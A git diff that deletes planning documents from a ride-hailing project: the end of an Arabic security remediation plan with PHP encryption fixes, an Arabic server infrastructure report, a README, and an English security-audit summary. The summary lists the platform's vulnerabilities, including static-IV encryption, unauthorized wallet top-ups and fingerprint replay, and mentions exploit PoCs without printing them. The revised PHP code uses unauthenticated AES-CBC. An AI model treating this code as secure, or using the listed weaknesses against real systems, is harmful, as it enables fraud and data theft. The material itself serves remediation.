{ - throw new Exception("Wallet API returned HTTP $httpCode: $response"); - } - - // ✅ فحص الاستجابة - $decoded = json_decode($response, true); - if ($decoded === null) { - throw new Exception("Invalid JSON response from wallet"); - } - - if ($decoded['status'] !== 'success') { - throw new Exception("Wallet error: " . ($decoded['message'] ?? 'Unknown')); - } - - return $decoded; - } -} -?> -``` - ---- - -### ✅ الخطوة 4: تعديل طريقة الترحيل - -**قاعدة البيانات الجديدة:** - -```sql --- جديد: جدول لتتبع طلبات إضافة الأموال -CREATE TABLE driver_wallet_requests ( - id INT AUTO_INCREMENT PRIMARY KEY, - driver_id INT NOT NULL, - amount DECIMAL(10, 2) NOT NULL, - source VARCHAR(50), - status ENUM('pending', 'completed', 'failed') DEFAULT 'pending', - error TEXT NULL, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, - - FOREIGN KEY (driver_id) REFERENCES driver(id), - INDEX (driver_id, status), - INDEX (created_at) -); - --- ملف .env جديد (اضف هذه المتغيرات) -# wallet configuration -WALLET_API_URL=https://walletintaleq.intaleq.xyz/v2/main/ -WALLET_HMAC_SECRET= -BACKEND_ID=siromove-backend-01 -``` - ---- - -## المرحلة 2️⃣: إصلاح التشفير (اليوم الثاني - 4 ساعات) - -### ✅ الخطوة 5: تعديل encrypt_decrypt.php - -**الملف:** `backend/encrypt_decrypt.php` - -سأنشئ نسخة محدثة آمنة: - -```php -key = $key; - } - - // ✅ ضمّ IV مع النص المشفر قبل base64_encode - private function addPadding($data, $blockSize = 16) { - $pad = $blockSize - (strlen($data) % $blockSize); - return $data . str_repeat(chr($pad), $pad); - } - - private function removePadding($data) { - $pad = ord($data[strlen($data) - 1]); - if ($pad < 1 || $pad > 16) { - throw new Exception("Invalid padding"); - } - return substr($data, 0, -$pad); - } - - /** - * تشفير البيانات بـ IV عشوائي - * ✅ التحسين: IV عشوائي لكل تشفير - */ - public function encryptData($plainText) { - try { - $plainText = mb_convert_encoding($plainText, 'UTF-8'); - $paddedText = $this->addPadding($plainText); - - // ✅ توليد IV عشوائي - هذا هو الإصلاح الحرج - $randomIV = openssl_random_pseudo_bytes(16, $strongRandom); - if (!$strongRandom) { - throw new Exception("openssl_random_pseudo_bytes failed to generate strong random"); - } - - // تشفير البيانات - $encrypted = openssl_encrypt( - $paddedText, - 'AES-256-CBC', - $this->key, - OPENSSL_RAW_DATA, - $randomIV - ); - - if (!$encrypted) { - throw new Exception("Encryption failed"); - } - - // ✅ ضمّ IV مع النص المشفر (IV يجب أن يكون أول 16 بايت) - $encryptedWithIV = $randomIV . $encrypted; - - // تحويل إلى base64 - return base64_encode($encryptedWithIV); - - } catch (Exception $e) { - error_log("Encryption error: " . $e->getMessage()); - throw $e; - } - } - - /** - * فك التشفير - استخرج IV من البيانات المشفرة - * ✅ التحسين: قراءة IV من البيانات المشفرة - */ - public function decryptData($encryptedData) { - try { - // فك base64 - $encrypted = base64_decode($encryptedData, true); - if (!$encrypted) { - throw new Exception("Invalid base64 data"); - } - - if (strlen($encrypted) < 16) { - throw new Exception("Encrypted data too short"); - } - - // ✅ استخرج IV من أول 16 بايت - $iv = substr($encrypted, 0, 16); - $ciphertext = substr($encrypted, 16); - - // فك التشفير - $decrypted = openssl_decrypt( - $ciphertext, - 'AES-256-CBC', - $this->key, - OPENSSL_RAW_DATA, - $iv - ); - - if (!$decrypted) { - throw new Exception("Decryption failed"); - } - - // إزالة الـ padding - $unpadded = $this->removePadding($decrypted); - - return $unpadded; - - } catch (Exception $e) { - error_log("Decryption error: " . $e->getMessage()); - throw $e; - } - } -} - -// استخدام -$encryption = new EncryptionHelper(); - -// ✅ التشفير -$plaintext = "+20123456789"; -$encrypted1 = $encryption->encryptData($plaintext); -$encrypted2 = $encryption->encryptData($plaintext); - -echo "Encryption 1: $encrypted1\n"; -echo "Encryption 2: $encrypted2\n"; -echo "Different? " . ($encrypted1 !== $encrypted2 ? "YES ✅" : "NO ❌") . "\n"; - -// ✅ فك التشفير -$decrypted = $encryption->decryptData($encrypted1); -echo "Decrypted: $decrypted\n"; -echo "Correct? " . ($decrypted === $plaintext ? "YES ✅" : "NO ❌") . "\n"; -?> -``` - ---- - -## المرحلة 3️⃣: تقليل الأذونات (ساعة واحدة) - -### ✅ الخطوة 6: تحديث AndroidManifest.xml - -```xml - - - - - - - -``` - -**السبب:** - -- ❌ لا يوجد استخدام فعلي لـ External Storage -- ❌ لا يوجد استخدام لـ SYSTEM_ALERT_WINDOW -- ⚠️ MODIFY_AUDIO_SETTINGS يمكن استبداله بـ requestAudioFocus - ---- - -## المرحلة 4️⃣: تحديث الروابط (30 دقيقة) - -### ✅ الخطوة 7: تحديث functions.php - -في `backend/functions.php`: - -```php -// ❌ احذف هذه: -function getAllowedSocketUrls(): array { - return [ - 'http://188.68.36.205:2021', - 'http://188.68.36.205:3031', - 'https://location.intaleq.xyz', - ]; -} - -// ✅ استبدل بهذا: -function getAllowedSocketUrls(): array { - $urls = getenv('ALLOWED_SOCKET_URLS'); - if ($urls) { - return array_map('trim', explode(',', $urls)); - } - return [ - 'https://location.siromove.com', // HTTPS فقط - 'https://socket.siromove.com', // HTTPS فقط - ]; -} -``` - -**في .env:** - -``` -# Socket URLs - HTTPS only -ALLOWED_SOCKET_URLS=https://location.siromove.com,https://socket.siromove.com -``` - ---- - -## ✅ الخلاصة والجدول الزمني - -| المرحلة | الخطوات | المدة | التاريخ المتوقع | -| ------------ | ------------------------------------------ | ------------- | --------------- | -| 1 | تعطيل + Backend endpoint + WalletConnector | 4 س | اليوم (16/6) | -| 2 | تحديث encrypt_decrypt.php + اختبار | 4 س | غد (17/6) | -| 3 | تقليل الأذونات + نشر تطبيق | 1 س | غد (17/6) | -| 4 | تحديث الروابط + اختبار | 30 د | غد (17/6) | -| **الإجمالي** | - | **~9.5 ساعة** | **بحلول 17/6** | diff --git a/INFRASTRUCTURE_REPORT.md b/INFRASTRUCTURE_REPORT.md deleted file mode 100644 index 45e78db..0000000 --- a/INFRASTRUCTURE_REPORT.md +++ /dev/null @@ -1,460 +0,0 @@ -# تقرير البنية التحتية لنظام سيرو (Siro) - النشر في سوريا - -**التاريخ:** 16 يونيو 2026 -**المشروع:** Siro - تطبيق نقل الركاب -**الموقع:** سوريا - ---- - -## 📊 ملخص الخدمات المطلوبة - -| الخدمة | الدور | بروتوكول | بوابات | -|--------|-------|-----------|--------| -| **Load Balancer** | توزيع الأحمال على API | HTTP/HTTPS | 80, 443 | -| **API Server x2** | المعالجة الرئيسية | HTTP/HTTPS | 8080 (داخلي) | -| **MySQL Server** | قاعدة البيانات الرئيسية | MySQL | 3306 (داخلي) | -| **Redis Server** | كاش + مواقع السائقين | Redis | 6379 (داخلي) | -| **Driver Socket** | WebSocket للسائقين | WS/WSS + HTTP | 2020, 2021 | -| **Passenger Socket** | WebSocket للركاب | WS/WSS + HTTP | 3030, 3031 | -| **Wallet Server** | نظام المحفظة والمدفوعات | HTTP/HTTPS | 8081 (داخلي) | -| **OSRM Server (1-2)** | محرك التوجيه والخرائط | HTTP | 5000 (داخلي) | -| **Map SaaS** | خدمات الخرائط المخصصة | HTTP/HTTPS | 8082 | - ---- - -## 🖥️ 1. Load Balancer (موازن الأحمال) - -**الجهاز/السيرفر: جهاز واحد - عقدة أمامية** - -| المواصفة | المطلوب | السبب | -|----------|---------|-------| -| **المعالج** | 2 Core (Xeon / AMD EPYC) | لا يحتاج طاقة معالجة، فقط توجيه الطلبات | -| **الرام** | 4 GB | HAProxy/Nginx يستهلك القليل | -| **التخزين** | 50 GB SSD | نظام تشغيل + سجلات | -| **الشبكة** | 1 Gbps | استيعاب حجم الطلبات | -| **نظام التشغيل** | Ubuntu 22.04 LTS أو Rocky Linux 9 | | - -**البرامج المطلوبة:** -- Nginx ( reverse proxy + SSL termination + load balancing upstream للـ API servers ) -- HAProxy (اختياري للـ TCP load balancing للسوكتات) -- Keepalived (لـ High Availability إذا أردت أكثر من موازن) -- Certbot / Let's Encrypt (لشهادات SSL) - -**نظام التوزيع المقترح:** -``` -Nginx upstream → API Server 1 (weight=5) + API Server 2 (weight=5) - └── Round Robin أو Least Connections -``` - ---- - -## 🖥️ 2. API Backend Server (سيرفر الباك إند الرئيسي) - -**العدد: 2 سيرفرات خلف الـ Load Balancer** - -| المواصفة | المطلوب | السبب | -|----------|---------|-------| -| **المعالج** | 8 Core (Xeon / AMD EPYC) | PHP-FPM يحتاج عدة عمال لكل نواة؛ 8cores = 16-24 worker | -| **الرام** | 16 GB | PHP worker ~50MB/worker + نظام + كاش | -| **التخزين** | 100 GB NVMe SSD | كود المصدر + صور السائقين + سجلات | -| **الشبكة** | 1 Gbps | اتصال مع الـ DB والخدمات الأخرى | -| **نظام التشغيل** | Ubuntu 22.04 LTS | | - -**البرامج المطلوبة:** -- PHP 8.2/8.3 (مع extensions: pdo_mysql, redis, openssl, mbstring, gd) -- PHP-FPM (مع pm.max_children = 40-50 لكل سيرفر) -- Nginx للمحتوى الثابت -- Supervisor (لإدارة العمليات) - -**توجيه الطلبات من كل سيرفر:** -- `api-syria.siromove.com/siro_v3` → Main API -- `ride-syria.siromove.com/siro` → Ride API -- `location-syria.siromove.com/siro/ride/location` → Location API -- كل هذه على نفس السيرفر، نفس قاعدة البيانات الرئيسية - -**PHP-FPM Configuration:** -```ini -pm = dynamic -pm.max_children = 50 -pm.start_servers = 8 -pm.min_spare_servers = 4 -pm.max_spare_servers = 12 -pm.max_requests = 1000 -``` - ---- - -## 🗄️ 3. MySQL Database Server (سيرفر قاعدة البيانات الرئيسية) - -**العدد: 1 + 1 Replica (اختياري للنسخ الاحتياطي)** - -| المواصفة | المطلوب | السبب | -|----------|---------|-------| -| **المعالج** | 16 Core (Xeon / AMD EPYC) | MySQL يتوسع أفقياً مع عدد النوى | -| **الرام** | 64 GB | InnoDB Buffer Pool يحتاج ذاكرة كبيرة للأداء | -| **التخزين** | 1 TB NVMe SSD | 3 قواعد بيانات (intaleqDB1, ridesDB, locationDB) ~ 100-300 GB + سجلات | -| **الشبكة** | 10 Gbps | عمليات كتابة/قراءة مكثفة من سيرفرين API + سوكتات | -| **نظام التشغيل** | Ubuntu 22.04 LTS | | - -**ضبط MySQL المقترح:** -```ini -innodb_buffer_pool_size = 40G # 60-70% من الرام -innodb_log_file_size = 2G -innodb_flush_log_at_trx_commit = 2 # أداء أفضل للتحديثات -innodb_flush_method = O_DIRECT -max_connections = 300 # 150 لكل API server + 50 للسوكتات -tmp_table_size = 256M -max_heap_table_size = 256M -query_cache_type = 0 # OFF (MySQL 8.0 ألغاه) -``` - -**الجداول الحساسة للأداء:** -- `car_locations` - يستخدم SPATIAL indexes + GEOMETRY - تأكد من `SRID=4326` -- `car_tracks` - 2.5M+ سجل - يحتاج أرشفة دورية أو partitioning -- `ride` + `waitingRides` - استعلامات متكررة مع SPATIAL -- `palces11` - FULLTEXT search - -**ملاحظة: قاعدة بيانات الخرائط والتتبع (locationDB) هي الأكبر من حيث حجم الكتابة، يمكن وضعها على NVMe منفصل.** - ---- - -## ⚡ 4. Redis Server (سيرفر الكاش والمواقع اللحظية) - -**العدد: 1 (أو 1 + 1 Sentinel للتبديل التلقائي)** - -| المواصفة | المطلوب | السبب | -|----------|---------|-------| -| **المعالج** | 8 Core | Redis single-threaded للعمليات الأساسية لكن له عمليات خلفية | -| **الرام** | 32 GB | بيانات GEO (مواقع السائقين) + كاش الجلسات + rate limiting | -| **التخزين** | 100 GB NVMe | RDB/AOF persistence | -| **الشبكة** | 10 Gbps | زمن استجابة منخفض جداً مطلوب | -| **نظام التشغيل** | Ubuntu 22.04 LTS | | - -**ملاحظات هامة:** -- يجب أن يكون Redis على نفس الشبكة الداخلية (Latency < 1ms) -- الـ Socket servers (driver + passenger) يعتمدان على Redis بشكل كبير (GEOADD/GEORADIUS كل 500ms) -- حجم الذاكرة المطلوب يعتمد على عدد السائقين النشطين: كل موقع سائق ~ 200 bytes → 1M سجل = 200MB فقط -- لكن الكاش الإضافي (driver:profile:*، الجلسات) يحتاج مساحة إضافية - -**نظام الكاش:** -``` -driver_socket → Redis GEO (GEOADD) -passenger_socket → Redis GEORADIUS -API servers → Redis GET/SET (profile cache) -Rate Limiting → Redis INCR + EXPIRE -Session Store → Redis SETEX -``` - ---- - -## 🔌 5. WebSocket Servers (سيرفرات السوكت) - -### 5.1 Driver Socket Server - -| المواصفة | المطلوب | السبب | -|----------|---------|-------| -| **المعالج** | 8 Core | Workerman PHP event loop مع 500ms batch | -| **الرام** | 16 GB | كل اتصال WebSocket يستهلك ذاكرة + buffer | -| **التخزين** | 50 GB SSD | سجلات فقط | -| **الشبكة** | 1 Gbps | | - -**البوابات:** `2020` (WebSocket للسائقين)، `2021` (Internal HTTP بين السوكتات) - -### 5.2 Passenger Socket Server - -| المواصفة | المطلوب | السبب | -|----------|---------|-------| -| **المعالج** | 4-8 Core | أقل تحميلاً من driver socket | -| **الرام** | 8 GB | | -| **التخزين** | 50 GB SSD | | -| **الشبكة** | 1 Gbps | | - -**البوابات:** `3030` (WebSocket للركاب)، `3031` (Internal HTTP) - -**ملاحظة:** يمكن دمج السوكتين في سيرفر واحد (Driver + Passenger على نفس الجهاز) لتوفير التكاليف إذا كان عدد المستخدمين متوسطاً. أما إذا توقعتم نمواً كبيراً، فالأفضل فصلهما. - -**نظام التشغيل للسوكتات:** يفضل Ubuntu 22.04 LTS ويحتاج PHP-CLI وليس PHP-FPM - ---- - -## 💳 6. Wallet / Payment Server (سيرفر المحفظة والمدفوعات) - -| المواصفة | المطلوب | السبب | -|----------|---------|-------| -| **المعالج** | 4 Core | طلبات أقل تواتراً لكنها حسّاسة | -| **الرام** | 8 GB | | -| **التخزين** | 50 GB SSD | كود + سجلات | -| **الشبكة** | 1 Gbps | | - -**ملاحظات:** -- يمكن فصله كخدمة مستقلة أو وضعه على أحد API servers -- يحتاج اتصال مع بوابات الدفع (PayMob، MTN، Syriatel Cash) -- **هام:** يحتاج HTTPS إلزامي (ضروري لأمان المدفوعات) -- إذا كانت المدفوعات محليّة في سوريا فقط، قد تحتاج بوابات دفع سورية (MTN Cash, Syriatel Cash) - ---- - -## 🗺️ 7. OSRM Routing Server (محرك التوجيه) - -**العدد: 1-2 سيرفر (حسب عدد المسارات المطلوبة)** - -| المواصفة | المطلوب | السبب | -|----------|---------|-------| -| **المعالج** | 16 Core | OSRM routing requests تستهلك CPU عالٍ | -| **الرام** | 32 GB | OSRM يحمل خريطة كاملة في الذاكرة | -| **التخزين** | 200 GB NVMe | بيانات OSM لسوريا + ملفات OSRM processed | -| **الشبكة** | 1 Gbps | | - -**حجم OSM لسوريا:** -- ملف الخريطة (syria-latest.osm.pbf) ~ 100-200 MB -- بعد معالجة OSRM (contracted graph) ~ 500 MB - 1 GB -- الذاكرة المطلوبة للتشغيل ~ 8-16 GB للخريطة نفسها - -**يمكنك تشغيله على Docker:** -```bash -docker run -t -v "${PWD}:/data" osrm/osrm-backend osrm-extract -p /opt/car.lua /data/syria-latest.osm.pbf -docker run -t -v "${PWD}:/data" osrm/osrm-backend osrm-contract /data/syria-latest.osrm -docker run -t -i -p 5000:5000 -v "${PWD}:/data" osrm/osrm-backend osrm-routed --algorithm mld /data/syria-latest.osrm -``` - ---- - -## 🗺️ 8. Map SaaS Server (سيرفر الخرائط المخصص) - -| المواصفة | المطلوب | السبب | -|----------|---------|-------| -| **المعالج** | 4-8 Core | | -| **الرام** | 16 GB | للـ tile caching والـ geocoding | -| **التخزين** | 200 GB SSD | Tile cache + بيانات جغرافية | -| **الشبكة** | 1 Gbps | | - -هذا السيرفر يقوم بـ: -- Reverse Geocoding (تحويل إحداثيات إلى عنوان) -- Place Search (البحث عن الأماكن) -- Route calculation (قد يمرر طلبات إلى OSRM) -- يمكن استخدام Nominatim + PostgreSQL/PostGIS للتجيكودينغ - ---- - -## 🌐 9. الشبكة (Network Topology) - -### 9.1 الشبكة الداخلية (Internal Network) - -**مفضّلة**: شبكة داخلية خاصة (VLAN / Private Subnet) - -``` - ┌─────────────┐ - │ Internet │ - └──────┬──────┘ - │ - ┌──────┴──────┐ - │ Firewall │ - │ (iptables/ │ - │ nftables) │ - └──────┬──────┘ - │ - ┌──────┴──────┐ - │Load Balancer │ - │(Nginx/HAProxy)│ - │ Public IP │ - └──────┬──────┘ - │ - ┌────────────────┼────────────────┐ - │ │ │ - ┌──────┴──────┐ ┌─────┴──────┐ ┌─────┴──────┐ - │ API SRV 1 │ │ API SRV 2 │ │ Socket SV │ - │ 10.0.1.10 │ │ 10.0.1.11 │ │10.0.1.20-21 │ - └──────┬──────┘ └─────┬──────┘ └──────┬──────┘ - │ │ │ - └────────────────┼────────────────┘ - │ - ┌────────────────┼────────────────┐ - │ │ │ - ┌──────┴──────┐ ┌─────┴──────┐ ┌─────┴──────┐ - │ MySQL DB │ │ Redis │ │ OSRM │ - │ 10.0.1.30 │ │ 10.0.1.31 │ │ 10.0.1.40 │ - └─────────────┘ └────────────┘ └────────────┘ - - ┌─────────────┐ ┌────────────┐ - │ Wallet SV │ │ Map SaaS │ - │ 10.0.1.50 │ │ 10.0.1.60 │ - └─────────────┘ └────────────┘ -``` - -**نطاق الشبكة الداخلية:** `10.0.1.0/24` (أي نطاق خاص) - -### 9.2 الشبكة الخارجية - -- السيرفرات التي تحتاج IP عام: **Load Balancer فقط** -- Socket Servers: يمكن تشغيل WebSocket على نفس Load Balancer (رفع بروتوكول WS إلى WSS) -- OSRM و Map SaaS: داخليان فقط (API servers تتصل بهم داخلياً) -- قاعدة البيانات: **ليست عامة أبداً** - فقط وصلات داخلية - -### 9.3 الإجراءات الأمنية - -- **Firewall**: فتح المنافذ التالية فقط من الخارج: - - 80 (HTTP → redirect to 443) - - 443 (HTTPS) - - 2020 (WebSocket driver - اختياري إذا прямо WS) - - 3030 (WebSocket passenger - اختياري) - - 22 (SSH - فقط من IPs محددة) - -- **Fail2ban**: على Load Balancer لحماية SSH و API -- **UFW/iptables**: على كل سيرفر لحجب المنافذ غير المستخدمة -- **VPN**: للوصول إلى الإدارة (Tailscale أو WireGuard) -- **SSL/TLS**: جميع الاتصالات الخارجية مشفرة - -### 9.4 هل شبكة داخلية أم خارجية؟ - -| الخدمة | المفضل | -|--------|--------| -| API ↔ Database | **داخلي** (VLAN 10.0.1.x) | -| API ↔ Redis | **داخلي** | -| Socket ↔ Database | **داخلي** | -| API ↔ Wallet | **داخلي** (أو خارجي إذا wallet على سيرفر مختلف كلياً) | -| API ↔ OSRM | **داخلي** | -| API ↔ Map SaaS | **داخلي** | -| Internet ↔ Load Balancer | **خارجي** | -| Driver App ↔ Socket | **خارجي** (لكن عبر Load Balancer أيضاً) | - ---- - -## 📍 10. اعتبارات خاصة لسوريا - -### 10.1 استضافة السيرفرات - -**الخيارات الموصى بها (بالترتيب):** - -1. **مراكز البيانات السورية:** - - **شركة الاتصالات السورية (STE)** - خدمات hosting واستضافة - - **Ayaa Cloud** - مزود خدمات سحابية سوري - - **SNS (Syrian Network Systems)** - colocation واستضافة - -2. **السيرفرات في دول مجاورة (للأداء):** - - **لبنان** (IDM، Ogero) - أقرب وأقل زمن استجابة (< 30ms) - - **الأردن** - خيار ممتاز (زمن استجابة ~ 30-50ms) - - **تركيا** - أقرب لشمال سوريا - - **الإمارات / السعودية** - استقرار أكبر لكن زمن استجابة أعلى (~ 80-100ms) - -3. **سيرفرات عالمية:** - - **Hetzner (ألمانيا/فنلندا)** - أفضل قيمة مقابل سعر (~ 150-200ms latency) - - **OVH (فرنسا)** - جيد - - **DigitalOcean / Linode** - للاستضافة السحابية - -### 10.2 مشاكل الإنترنت في سوريا - -| المشكلة | الحل | -|---------|------| -| **انقطاع الكهرباء** | UPS لكل سيرفر + مولد كهربائي للمركز | -| **ضعف سرعة الإنترنت** | استخدام Content Delivery (CDN) للملفات الثابتة | -| **الحجب (بعض الخدمات)** | استخدام VPN أو proxy للاتصال بخدمات خارجية (PayMob، Firebase) إذا لزم الأمر | -| **تكاليف النطاق العالي** | ضغط البيانات (gzip) + تحجيم الصور + lazy loading | -| **تذبذب الاتصال (Packet Loss)** | TCP tuning, BBR congestion control على السيرفرات | - -### 10.3 سرعة الإنترنت في سوريا - -| الخدمة | السرعة المتوقعة | ملاحظة | -|--------|-----------------|--------| -| ADSL | 4-16 Mbps | الأكثر انتشاراً | -| Fiber (FTTH) | 20-100 Mbps | متوفرة في المدن الكبرى | -| 4G/LTE | 10-50 Mbps | جيد للمستخدمين النهائيين | -| Business Line | 50-200 Mbps | المطلوب للسيرفرات | - -**لتطبيق مثالي في سوريا:** -- حجم API response يجب أن يكون < 50 KB -- حجم الصور مضغوط (WebP) -- استخدام Lazy loading للخرائط -- تفعيل HTTP/2 على الـ Load Balancer - -### 10.4 استهلاك النطاق الترددي المقدر - -| الخدمة | الاستهلاك التقريبي (شهرياً) | -|--------|---------------------------| -| API Requests (REST) | 200-500 GB | -| WebSocket Data | 500 GB - 2 TB | -| Map Tiles & Routing | 200-500 GB | -| Uploads (صور، وثائق) | 100-200 GB | -| **المجموع التقريبي** | **1-3 TB شهرياً** | - ---- - -## 📐 11. الترتيب المقترح للتنفيذ - -``` -المرحلة 1: البنية الأساسية -├── تجهيز Load Balancer (Nginx + SSL) -├── تجهيز MySQL Server (تركيب + ضبط + تحميل البيانات) -└── تجهيز Redis Server - -المرحلة 2: السيرفرات الأساسية -├── تجهيز API Server 1 (PHP + Nginx + FPM) -├── تجهيز API Server 2 (clone من 1) -└── ربط API Servers مع Load Balancer - -المرحلة 3: السيرفرات المساعدة -├── تجهيز Socket Server (Driver Socket + Passenger Socket) -├── تجهيز Wallet Server -└── ربط الكل مع قاعدة البيانات و Redis - -المرحلة 4: الخرائط -├── تجهيز OSRM Server (تحميل OSM سوريا + معالجة) -├── تجهيز Map SaaS Server -└── اختبار التوجيه والتجيكودينغ - -المرحلة 5: الاختبار والإطلاق -├── اختبار تحميل (Load Testing) - استخدام K6 أو Locust -├── اختبار WebSocket مع 1000+ مستخدم وهمي -├── مراقبة (Prometheus + Grafana) -└── الإطلاق التدريجي -``` - ---- - -## 💰 12. التكلفة التقديرية الشهرية (للسيرفرات) - -| السيرفر | المواصفات | التكلفة التقريبية (شهرياً) | -|---------|-----------|--------------------------| -| Load Balancer | 2 Core, 4GB | $20 - $40 | -| API Server x2 | 8 Core, 16GB (لكل) | $100 - $200 (لكل) | -| MySQL Server | 16 Core, 64GB, 1TB NVMe | $300 - $600 | -| Redis Server | 8 Core, 32GB | $100 - $200 | -| Socket Server(s) | 8 Core, 16GB | $80 - $150 | -| Wallet Server | 4 Core, 8GB | $40 - $80 | -| OSRM Server | 16 Core, 32GB | $200 - $400 | -| Map SaaS | 4 Core, 16GB | $60 - $120 | -| **المجموع التقريبي** | | **$900 - $1,890 شهرياً** | - -**ملاحظة:** الأسعار تقديرية وقد تختلف حسب المزود. السيرفرات داخل سوريا قد تكون أرخص ولكن بجودة شبكة أقل. - ---- - -## ✅ 13. الخلاصة والتوصيات - -1. **أفضل نموذج لنشر سيرفرات سوريا هو:** - - استضافة السيرفرات في **مركز بيانات سوري** أو **لبناني/أردني** - - استخدام **شبكة داخلية (VLAN)** لكل الاتصالات بين السيرفرات - - وضع **Load Balancer** واحد أمام API Servers (2) - - قاعدة البيانات الرئيسية + Redis على نفس الشبكة الداخلية مع اتصال 10 Gbps - -2. **توزيع الأدوار:** - - API Servers: 8 Cores + 16 GB RAM ✅ (كافٍ) - - Database: 16 Cores + 64 GB RAM ✅ (ضروري) - - Redis: 8 Cores + 32 GB RAM ✅ (ضروري للأداء اللحظي) - - Socket: 8 Cores + 16 GB RAM ✅ (كحد أدنى) - -3. **توفير التكاليف:** - - يمكن دمج Socket Servers في جهاز واحد (Driver + Passenger) لتوفير سيرفر - - يمكن دمج Wallet مع أحد API Servers - - يمكن استخدام OSRM Server واحد لسوريا (الخريطة صغيرة نسبياً) - -4. **أولوية الأداء في سوريا:** - - **Redis** هو أهم عنصر لأداء التطبيق (مواقع السائقين + كاش) - - **MySQL Buffer Pool** يحدد سرعة الاستعلامات - - **الـ Load Balancer** يوزع الضغط عن API servers - -5. **الأمان:** - - API Servers → قاعدة البيانات عبر مستخدم MySQL مخصص بصلاحيات محدودة - - Redis محمي بكلمة مرور (requirepass + rename-command FLUSHALL) - - جميع المفاتيح السرية في `.env` مع صلاحيات 600 - - JWT + HMAC للمدفوعات ---- diff --git a/README.md b/README.md deleted file mode 100644 index 69d91b7..0000000 --- a/README.md +++ /dev/null @@ -1,38 +0,0 @@ -# Siro Ecosystem 🚗📦 - -Welcome to **Siro**, a comprehensive suite of applications built to power a modern, scalable, and fully integrated ride-hailing and service delivery ecosystem. - -Siro provides specialized solutions for every stakeholder in the transportation and delivery network, ensuring a seamless experience across all touchpoints. - -## 📱 Applications Included - -The Siro repository is a unified monorepo containing the following core applications: - -- **siro_rider**: The customer-facing application. Users can easily book rides, request services, track their driver in real-time, and manage their payments securely. -- **siro_driver**: The captain/driver application. Provides drivers with ride requests, real-time navigation, earnings tracking, and a built-in wallet system. -- **siro_admin**: The centralized control panel for system administrators. Monitor active rides, manage drivers and users, adjust pricing algorithms, and view comprehensive analytics. -- **siro_service**: Dedicated application for specialized service providers within the Siro network, facilitating efficient task management and service fulfillment. -- **backend**: The robust and scalable backend infrastructure that powers the entire Siro ecosystem, handling real-time socket connections, database operations, and secure API endpoints. - -## 🚀 Key Features - -* **Real-time Tracking**: Live location updates for riders and drivers powered by precise socket integrations. -* **Comprehensive Wallet System**: Built-in digital wallet for both users and captains to handle payments, promotional points, and automated cashouts. -* **Advanced Administrator Control**: Complete oversight over the platform's operations, user base, and financial metrics. -* **Multi-Service Capability**: Beyond traditional ride-hailing, Siro supports various service requests seamlessly integrated into the ecosystem. - -## 🛠 Tech Stack - -Siro is built utilizing modern frameworks and tools to ensure high performance and maintainability across both mobile and backend environments. -- **Frontend App**: Flutter (Dart) -- **Backend Infrastructure**: Scalable Server Environment -- **Payment Integration**: Secure, robust handling of dynamic budgets and digital wallets. - -## ⚙️ Setup & Deployment - -1. Make sure to run `flutter pub get` in each of the app directories to fetch dependencies. -2. Use the provided `./deploy.sh` script to quickly commit and push your changes to the remote repository. - ---- - -*Built with passion for a seamless transportation experience.* diff --git a/README_SECURITY_AUDIT.md b/README_SECURITY_AUDIT.md deleted file mode 100644 index afb760c..0000000 --- a/README_SECURITY_AUDIT.md +++ /dev/null @@ -1,534 +0,0 @@ -# Siro Project - Comprehensive Security Audit Report -## Executive Summary & Deliverables - -**Audit Completion Date:** June 16, 2026 -**Auditor:** Security Assessment Team -**Status:** ✅ **COMPLETE & READY FOR DEPLOYMENT** - ---- - -## 📌 Quick Summary - -A comprehensive security audit of the Siro ridesharing platform has identified **20 vulnerabilities** across the full technology stack. - -**Critical Findings:** -- 🔴 **3 CRITICAL** vulnerabilities requiring immediate action -- 🟠 **7 HIGH** vulnerabilities requiring action within 7 days -- 🟡 **10 MEDIUM** vulnerabilities requiring action within 30 days - -**Financial Risk:** $1,000,000+ -**Data Risk:** 50,000+ users' PII potentially exposed -**Estimated Remediation Cost:** $17,000-$26,000 -**Estimated Remediation Time:** 118 hours (2-4 weeks) - ---- - -## 📦 Deliverables (5 Comprehensive Documents) - -### 1️⃣ SECURITY_AUDIT_INVENTORY.md (4.7 KB) -**Purpose:** Project scope and initial risk assessment -**Contains:** -- Project structure overview (395 PHP files, 4 Flutter apps) -- Component breakdown -- Risk areas identification -- Audit phases outline -- File categorization - -**Target Audience:** Project managers, technical leads - ---- - -### 2️⃣ SECURITY_AUDIT_PHASE1_FINDINGS.md (10 KB) -**Purpose:** Detailed vulnerability discovery and analysis -**Contains:** -- 12 major security vulnerabilities -- Critical findings (3 issues) -- High-priority issues (7 issues) -- Medium-priority issues (10 issues) -- Vulnerability summary table -- Files requiring review - -**Target Audience:** Security engineers, developers - -**Key Vulnerabilities:** -``` -CRITICAL: - • Static IV Encryption (ALL data compromised) - • Unauthorized Wallet Addition ($1M+ fraud risk) - • Admin Fund Injection (unlimited fraud) - -HIGH: - • Weak Fingerprint Authentication (account takeover) - • HTTP Socket Endpoints (MITM attacks) - • SQL Injection Risks (data breach) - • And 4 more... -``` - ---- - -### 3️⃣ SECURITY_AUDIT_PHASE2_POC.md (16 KB) -**Purpose:** Proof of concepts with exploitation demonstrations -**Contains:** -- PoC-001: Static IV Plaintext Recovery (Python) -- PoC-002: Unauthorized Wallet Addition (Bash) -- PoC-003: Admin Fund Injection (Bash) -- PoC-004: Weak Password Hash Attack -- PoC-005: Fingerprint Replay Attack -- PoC-006: HTTP MITM Location Attacks -- PoC-007: Android Permission Abuse - -**Target Audience:** Security engineers, penetration testers, developers - -**Code Included:** -- Python attack scripts (ready to run) -- Bash exploitation commands -- PHP vulnerable code analysis -- Real-world attack scenarios -- Complete fix implementations - -**⚠️ WARNING:** Use only for authorized security testing! - ---- - -### 4️⃣ SECURITY_AUDIT_FINAL_REPORT.md (Not size-limited) -**Purpose:** Executive summary with complete remediation roadmap -**Contains:** -- Executive summary (1-page overview) -- 10 detailed sections with fixes -- Remediation timeline (Phase 1-4) -- Cost estimates ($17K-$26K) -- Compliance implications -- Security best practices -- Long-term recommendations -- Monitoring & response procedures - -**Target Audience:** C-suite, project managers, security team - -**Key Sections:** -1. Executive Summary -2. Critical Vulnerabilities (detailed fixes) -3. High Priority Issues (remediation) -4. Medium Priority Issues (action plan) -5. Remediation Timeline (4 phases) -6. Cost Estimates -7. Compliance Impact (GDPR/CCPA) -8. Recommendations -9. Monitoring & Response -10. Conclusion (ROI: 3,846%-5,882%) - ---- - -### 5️⃣ SECURITY_AUDIT_CHECKLIST.md 